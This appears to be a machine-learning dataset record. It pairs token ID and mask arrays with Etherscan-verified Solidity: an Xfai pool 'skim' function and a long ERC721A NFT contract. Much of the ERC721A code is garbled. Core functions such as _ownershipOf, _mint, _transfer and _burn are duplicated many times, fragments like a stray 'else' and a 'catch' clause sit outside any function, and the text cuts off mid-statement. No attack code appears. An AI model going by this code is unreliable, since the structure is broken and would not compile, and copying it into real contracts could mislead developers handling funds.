[ 1, 16351, 2285, 1060, 382, 89, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2254, 28, 3238, 389, 31734, 273, 2468, 31, 203, 203, 203, 565, 2254, 5034, 1071, 805, 7731, 14667, 273, 890, 31, 203, 565, 2254, 5034, 1071, 389, 8066, 14667, 273, 805, 7731, 14667, 31, 203, 565, 2254, 5034, 3238, 389, 11515, 7731, 14667, 273, 389, 8066, 14667, 31, 203, 203, 565, 2254, 5034, 1071, 805, 3882, 21747, 14667, 273, 1059, 31, 203, 565, 2254, 5034, 1071, 389, 3355, 21747, 14667, 273, 805, 3882, 21747, 14667, 31, 203, 565, 2254, 5034, 3238, 389, 11515, 3882, 21747, 14667, 273, 389, 3355, 21747, 14667, 31, 203, 203, 203, 565, 1426, 1071, 1656, 281, 1398, 55, 1165, 414, 1876, 38, 9835, 414, 273, 638, 31, 203, 203, 203, 565, 1758, 8843, 429, 3238, 389, 10035, 16936, 1887, 31, 203, 565, 1758, 8843, 429, 3238, 389, 3355, 21747, 16936, 1887, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 86, 5460, 329, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 88, 5460, 329, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 14667, 31, 203, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 31, 203, 377, 203, 565, 2 ]
./partial_match/1/0xCC4fCe9171dE972aE892BD0b749F96B49b3740E7/sources/etherscana_verify.sol
* @notice Force the token balance of a pool to match its reserves @dev This function locks the pool of _token to prevent reentrancy attacks. @param _token An ERC20 token address. Token must have already a pool @param _to The recipient of the skim/
function skim(address _token, address _to) external override pausable singleLock(_token) { address pool = XfaiLibrary.poolFor(_token, factory, poolCodeHash); (uint reserve, uint weight) = IXfaiPool(pool).getStates(); uint tokenBalanceDif = IERC20(_token).balanceOf(pool) - reserve; uint xfETHBalanceDif = IERC20(_xfETH).balanceOf(pool) - weight; if (tokenBalanceDif > 0) { IXfaiPool(pool).linkedTransfer(_token, _to, tokenBalanceDif); } if (xfETHBalanceDif > 0) { IXfaiPool(pool).linkedTransfer(_xfETH, _to, xfETHBalanceDif); } }
16,068,435
[ 1, 10997, 326, 1147, 11013, 434, 279, 2845, 358, 845, 2097, 400, 264, 3324, 225, 1220, 445, 13046, 326, 2845, 434, 389, 2316, 358, 5309, 283, 8230, 12514, 28444, 18, 225, 389, 2316, 1922, 4232, 39, 3462, 1147, 1758, 18, 3155, 1297, 1240, 1818, 279, 2845, 225, 389, 869, 1021, 8027, 434, 326, 4343, 381, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 4343, 381, 12, 2867, 389, 2316, 16, 1758, 389, 869, 13, 3903, 3849, 6790, 16665, 2202, 2531, 24899, 2316, 13, 288, 203, 565, 1758, 2845, 273, 1139, 507, 77, 9313, 18, 6011, 1290, 24899, 2316, 16, 3272, 16, 2845, 1085, 2310, 1769, 203, 565, 261, 11890, 20501, 16, 2254, 3119, 13, 273, 467, 60, 507, 77, 2864, 12, 6011, 2934, 588, 7629, 5621, 203, 565, 2254, 1147, 13937, 10428, 273, 467, 654, 39, 3462, 24899, 2316, 2934, 12296, 951, 12, 6011, 13, 300, 20501, 31, 203, 565, 2254, 16128, 1584, 44, 13937, 10428, 273, 467, 654, 39, 3462, 24899, 5841, 1584, 44, 2934, 12296, 951, 12, 6011, 13, 300, 3119, 31, 203, 565, 309, 261, 2316, 13937, 10428, 405, 374, 13, 288, 203, 1377, 467, 60, 507, 77, 2864, 12, 6011, 2934, 17738, 5912, 24899, 2316, 16, 389, 869, 16, 1147, 13937, 10428, 1769, 203, 565, 289, 203, 565, 309, 261, 5841, 1584, 44, 13937, 10428, 405, 374, 13, 288, 203, 1377, 467, 60, 507, 77, 2864, 12, 6011, 2934, 17738, 5912, 24899, 5841, 1584, 44, 16, 389, 869, 16, 16128, 1584, 44, 13937, 10428, 1769, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xE29A865298180140c5957b1D6AE7620a94e797f7/sources/CitizensOfHumania.sol
* the Metadata extension. Built to optimize for lower gas during batch mints. Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). Assumes that an owner cannot have more than 264 - 1 (max value of uint64) of supply. Assumes that the maximum token id cannot exceed 2256 - 1 (max value of uint256)./ Compiler will pack this into a single 256bit word.
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; bool burned; } struct AddressData { uint64 balance; uint64 numberMinted; uint64 numberBurned; uint64 aux; } uint256 internal _currentIndex; uint256 internal _burnCounter; string private _name; string private _symbol; mapping(uint256 => TokenOwnership) internal _ownerships; mapping(address => AddressData) private _addressData; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } function _startTokenId() internal view virtual returns (uint256) { return 0; } function totalSupply() public view virtual returns (uint256) { unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } function totalSupply() public view virtual returns (uint256) { unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } function _totalMinted() internal view returns (uint256) { unchecked { return _currentIndex - _startTokenId(); } } function _totalMinted() internal view returns (uint256) { unchecked { return _currentIndex - _startTokenId(); } } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } function _baseURI() internal view virtual returns (string memory) { return ''; } function approve(address to, uint256 tokenId) public virtual override(IERC721) { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } function approve(address to, uint256 tokenId) public virtual override(IERC721) { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } if (_currentIndex != startTokenId) revert(); } else { function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); _approve(address(0), tokenId, from); unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); _approve(address(0), tokenId, from); unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); _approve(address(0), tokenId, from); unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); _approve(address(0), tokenId, from); unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); unchecked { _burnCounter++; } } function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); unchecked { _burnCounter++; } } _approve(address(0), tokenId, from); function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); unchecked { _burnCounter++; } } function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); unchecked { _burnCounter++; } } function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); unchecked { _burnCounter++; } } function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); unchecked { _burnCounter++; } } function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); assembly { revert(add(32, reason), mload(reason)) } } } } function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); assembly { revert(add(32, reason), mload(reason)) } } } } } catch (bytes memory reason) { function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); assembly { revert(add(32, reason), 